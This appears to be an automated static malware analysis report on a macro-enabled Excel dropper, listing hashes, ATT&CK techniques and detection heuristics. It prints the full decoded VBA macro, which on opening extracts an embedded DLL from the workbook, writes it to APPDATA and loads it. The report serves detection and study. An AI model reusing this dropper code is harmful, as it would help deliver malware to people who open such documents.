Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7af28b6af51c2123…

MALICIOUS

Office (OLE)

287.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 3f80214290751d891dddf50abe200ad8 SHA-1: 0de99d5d3bce055876174ba6fac4df24f1320375 SHA-256: 7af28b6af51c21236e8dae283be35d078a9b412b918a5595bfaa4722231e1af3
376 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information T1204.002 Malicious File

The sample is a macro-enabled Excel file that contains a Workbook_Open macro. This macro executes a series of commands, including creating and saving a new Excel file, copying it, and then attempting to load a DLL from the APPDATA directory. The presence of embedded PE executable and references to LoadLibrary and VirtualAlloc APIs indicate that the macro is designed to download and execute a second-stage payload. The 'Password-protected archive handoff' heuristic suggests the document itself may contain instructions for the user to decrypt or access a payload.

Heuristics 11

  • ClamAV: Xls.Dropper.Mrrk-7166990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7166990-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
CreateGifFile
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3684 bytes
SHA-256: 81e9d88bcd38657623e56d5e25b3a18e2fd69ca79f7b0b668147e61f8a82ee6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
CreateGifFile
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub



Private Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\carpc2.dll"
    size = 64512
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\carpc1.dll"
    size = 81920
    num = 1
#End If
        
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (Environ("APPDATA"))
    Hwnd = LoadLibrary(nm)
    Get2

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare PtrSafe Function Get2 Lib _
        "carpc2.dll" () As Integer
#Else
    Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare Function Get2 Lib _
        "carpc1.dll" () As Integer
#End If
embedded_office_0000274e.exe embedded-pe Office MZ+PE at offset 0x274E 284359 bytes
SHA-256: 8be5f0fb04eb726e93e739d0448aa8fc6b06fa747b43dbb126502ff57663d513
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD007E3669/Ole10Native 152568 bytes
SHA-256: df6bda9780f87ff1db7af58febaf2bb1353e064e81d91e84c54e5831bc3cae71

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